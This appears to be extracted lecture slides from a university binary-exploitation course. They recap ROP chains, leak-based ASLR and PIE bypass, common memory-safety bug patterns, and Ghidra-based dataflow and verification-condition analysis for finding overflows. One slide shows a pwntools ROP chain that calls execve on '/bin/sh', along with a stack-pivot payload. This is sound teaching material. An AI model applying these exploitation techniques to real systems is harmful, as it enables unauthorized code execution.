11/23/2021 Recap and Lessons 29
Return Oriented Programming (ROP)
pivot address: pop_rdi
We’ve sent the ROP chain into the 0x7f... -> “/bin/sh”
0x3b
pop_rdx
p.sendline(
0x0
p64(pop_rdi)+p64(binsh_addr)+
pop_rsi
p64(pop_rax)+p64(0x3b)+
0x0
p64(pop_rdx)+p64(0x0)+
syscall
p64(pop_rsi)+p64(0x0)+
p64(syscall))
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 30
Return Oriented Programming (ROP)
p.sendline(p64(pop_rsp)+p64(pivot_addr))
pop_rsp
pivot_addr
???
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 31
Recall Libc ROP and Pivoting
• Usually we need to search for gadgets in libc (e.g.
typically no syscall in binary)
• There are some useful libc functions too, e.g., system()
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 33
ASLR
• ASLR is enabled on the system
• First level of ASLR is sometimes referred to as
CAKE where:
– System-wide Address Space Layout Randomization (ASLR)
enabled, the stack, heap, and libraries are placed at
different base address, every time you launch the binary
– Binary itself may not have been compiled to take
advantage of such mitigations, it may remain at fixed
location across launches
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 34
PIE
• Position Independent Executable
• A binary compiled such that its base address is relocated
every time you launch the binary
• Enabled with `-pie -fPIE` option
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 35
Defeating ASLR and PIE: Leaks
• Information leaks leak data from runtime to the user
unintentionally
• Info leaks can help find base addresses randomized by
ASLR and PIE
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 36
Defeating ASLR and PIE
• Step 1: Find an info leak
– printf(“libc exit function @ %p\n” &exit): … 0x7f2f8a497030
– libc_base = 0x7f2f8a497030-0x3a030
(0x3a030 is the constant offset, i.e., relative address, of exit in libc)
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 38
Concurrency Bugs
• New types of bugs occur in concurrent programs
– Data races
– Atomicity errors
– Deadlocks
• Data races and atomicity errors expose bugs (UAFs
and Double fetch, most notably) that would have
not occurred in a single-threaded run
• Nondeterminism in concurrency makes reasoning
about program behavior extremely difficult
– Bugs that disappear when we make an attempt to study
them (or exploit them)
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 39
Wargames Challenges?
1. Find a leak, via one or more vulnerabilities
a. Typically, leak a function pointer (but we’ve seen other too!)
b. An overflow leak, i.e., reading past the end of a buffer
c. Or a side-channel leak, e.g., uninitialized memory
2. Find a “write”, again, via one or more vulnerabilities
a. We do need a write into a function pointer or a return address
b. Again, an overflow write
c. Or a side-channel write, via UAF type confusion
3. Inject code
a. 1) try win function, then 2) try shellcode, then 3) try a call to system
(often disabled with mprotect), then 4) ropchain
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 40
Wargames Challenges?
• Lets enumerate (again) vulnerabilities we’ve been seeing
in Wargames
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 41
Vulnerabilities
• UAFs ?
– Dangling pointer
x = malloc(n); … free(x); … … x->f …
– A dangerous pointer (type confusion)
x = malloc(n); … free(x); … y =
malloc(n)
… use y as x, or use x as y …
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 42
Vulnerabilities
• Many UAFs in Wargames (and more in Project 2)
typedef struct stopLimitOrder typedef struct Order
{ {
char symbol[8]; char symbol[8];
unsigned type; unsigned type;
void (*infoFunc)(void *); unsigned long long price;
unsigned long long stop; unsigned long long amount;
unsigned long long limit; void (*infoFunc)(void *);
} stopLimitOrder; } Order;
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 43
Vulnerabilities
• Uninitialized memory ?
– On the stack
∘ char buf[64]; -> definition-free path ->
use of buf
– On the heap
∘ char * buf = malloc(64); -> definition-free
path -> use of buf
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 44
Vulnerabilities
• Uninitialized memory in Wargames
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16);
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);
…
}
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 45
Vulnerabilities
• Information leak ?
– Data flow from a source to a sink:
void * fp = &exit // source (sensitive information)
…
x->f = fp;
y = x;
fp1 = y->f;
...
printf(“libc exit function @ %p\n” fp1) // sink
(public view)
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 46
Vulnerabilities
• Many cases of Information leak in Wargames (and more
to come)
gold += fight(&map[row*3+col]); // ½ a cookie, source
…
print_highscore(gold); // printf leak, sink
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 47
Vulnerabilities
• Another leak, called a side-channel leak
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16); // source
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);
// sink
…
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 48
}
Vulnerabilities
• Integer issues ?
– Type confusion
∘ Account.debt -= (unsigned int) pay
(Already done with. Require explicit conversion, i.e., type cast.)
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 49
Vulnerabilities
• Double fetch / TOCTOU ?
– char * buf = malloc(bar->name_len);
...
modifies_bar(bar);
...
memcpy(buf, bar->name, bar->name_len);
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 50
Vulnerabilities
• And of course, BUFFER OVERFLOWs ?
– Blatant overflows
map[row*3+col], memcpy(buf, src,
strlen(src)), gets(buf)
– Stack overflows
∘ char buf[32]; gets(buf); …
∘ Typically, buffer size known at compile time
– Heap overflows
∘ char * buf; buf = malloc(bar->name_len)
∘ Often, buffer size is not known until runtime
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 51
Vulnerabilities
• Data races and atomicity errors ?
– Give rise to bugs that won’t happen in a single-threaded execution
Thread 1: Thread 2:
ticket * temp = bookings[0];
bookings[0] = NULL; if (bookings[0] == NULL)
continue;
…
free(ticket)
bookings[31] = temp;
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 52
Lecture Selanjutnya
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 1
Schedule
• Rainbow grades posted for Ch. 8 to Ch. 10
– You can keep working on Ch. 8 to Ch. 10 challenges
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 2
Tools for MBE
RPISEC - 04/03/2019
11/18/2019
11/30/2021 Tools for MBE 3
Agenda
1. Lessons learned
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 4
Wargames Challenges?
• Let’s enumerate (again) vulnerabilities we’ve been
seeing in Wargames
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 5
Vulnerabilities
• UAFs ?
– Dangling pointer
x = malloc(n); … free(x); … x->f …
– A dangerous pointer (type confusion)
x = malloc(n); … free(x); …
y = malloc(n)
… use y as x, or use x as y …
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 6
Vulnerabilities
• Many UAFs in Wargames (and more in Project 2)
typedef struct stopLimitOrder typedef struct Order
{ {
char symbol[8]; char symbol[8];
unsigned type; unsigned type;
void (*infoFunc)(void *); unsigned long long price;
unsigned long long stop; unsigned long long amount;
unsigned long long limit; void (*infoFunc)(void *);
} stopLimitOrder; } Order;
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 7
Vulnerabilities
• Uninitialized memory ?
– On the stack
char buf[64];
-> definition-free path -> use of buf
– On the heap
char * buf = malloc(64);
-> definition-free path -> use of buf
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 8
Vulnerabilities
• Uninitialized memory in Wargames
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16);
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);
…
}
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 9
Vulnerabilities
• Information leak ?
– Data flow from a source to a sink:
printf(“libc exit function @ %p\n” &exit); or
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 11
Vulnerabilities
• Another leak, also called a side-channel leak
authenticate_admin() {
… memcpy(admin_pass, admin_password, 16); // source
… }
play_guess_num() {
guessNumGame gameState; // allocates on stack!
… // definition-free path to printf
for (i=0; i < 128; i++)
printf("%d. %llx\n", i, gameState.rng[i]);
// sink
…
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 12
}
Vulnerabilities
• Double fetch / TOCTOU ?
char * buf = malloc(bar->name_len);
...
modifies_bar(bar);
...
memcpy(buf, bar->name, bar->name_len);
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 13
Vulnerabilities
• Of course, BUFFER OVERFLOWs ?
– Read overflows, may lead to information leak
∘ map[row*3+col]
– Write overflows
∘ strcpy(buf, src, strlen(src)), gets(buf)
– Stack overflows
∘ char buf[32]; gets(buf); …
∘ Typically, buffer size is known at compile time
– Heap overflows
∘ char * buf; buf = malloc(bar->name_len)
∘ Often, buffer size is not known until runtime
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 14
Vulnerabilities
• Data races and atomicity errors ?
– Give rise to bugs that won’t happen in a single-threaded
execution
Thread 1: Thread 2:
ticket * temp = bookings[0];
bookings[0] = NULL; if (bookings[0] == NULL)
continue;
…
free(allocations[i])
bookings[31] = temp;
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 15
Lessons
• Pair up (or triple up)
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 16
Agenda
1. Lessons learned
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 17
https://apply.grad.uci.edu/refer/?46304433182276
65
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 18
Intermediate Representation
(IR)
• Compiler (roughly):
3-addr Machine
Source AST Code ASM
Code
• Ghidra is a Decompiler:
Machine 3-addr
Code ... Code??? ... Source???
(x86) (PCode)
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 19
Ghidra’s Pcode
• Ghidra gives us an API into Pcode IR
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD (stack,
0xffffffffffffffdc, 4) , (const, 0x1, 4)
• Other: basic blocks, edges, etc
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 20
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));
int number;
scanf("%u", &number);
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 24
Def-use Chains
• Definition: a node (i.e., statement) that may change
the value of a variable (e.g., x=y+z is a definition of
x)
• Use: appearance of a variable as an operand of a
3-address statement (e.g., y=x+4 is a use of x)
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 26
Using Dataflow Analysis
• Def-use chains in fill_bowl example?
• A naive analysis:
– Find all def-use chains (k,n) for local_20
– If for some def-use chain local_20 > bowl_size-1 is
satisfiable, issue a warning
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 27
Using Dataflow Analysis
All def-use chains for fill_bowl example:
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 28
Using Dataflow Analysis
Yes, for def-use chain (1,6) local_20 > bowl_size - 1
is satisfiable
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 29
Using Dataflow Analysis
• What if we fixed the bug:
...
if (i <= local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}
...
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 30
Using Dataflow Analysis
• What if we fixed the bug:
...
if (i <= local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}
i = bowl_size;
if (i < local_20) {
local_20 = i + -1;
}
{ local_20 <= bowl_size - 1 }
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 32
Using VC Generation
i = bowl_size;
if (i < local_20) {
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 33
Using VC Generation
i = bowl_size;
if (i < local_20) {
{ i - 1 <= bowl_size - 1 }
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 34
Using VC Generation
i = bowl_size;
(i<local_20) => i <= bowl_size } AND
(i>=local_20) => local_20 <= bowl_size - 1
if (i < local_20) {
{ i - 1 <= bowl_size - 1 }
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 35
Using VC Generation
(bowl_size<local_20) => bowl_size <= bowl_size } AND
(bowl_size>=local_20) => local_20 <= bowl_size - 1
i = bowl_size;
(i<local_20) => i <= bowl_size } AND
(i>=local_20) => local_20 <= bowl_size - 1
if (i < local_20) {
{ i - 1 <= bowl_size - 1 }
local_20 = i + -1;
{ local_20 <= bowl_size - 1 }
}
{ local_20 <= bowl_size - 1 }
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 36
Using VC Generation
• We have to show that formula (verification
condition)
(bowl_size>=number) => number<=bowl_size-1
is valid
VC Script
RPISEC - 04/03/2019
Demo
Tools for MBE 39
11/30/2021
Ghidra Scripts
• A conjecture:
– VC analysis will be effective in finding buffer overflows in
Wargames benchmarks
• Other Ghidra scripts:
– Information flow (aka taint analysis): trace flow of values
from a source (e.g., libc function) to a sink (e.g., printf
function, memset)
– Type confusion: find a call chain main -> free(n) followed
by a call chain main -> malloc(n)
– Many others!
RPISEC - 04/03/2019
11/30/2021 Tools for MBE 40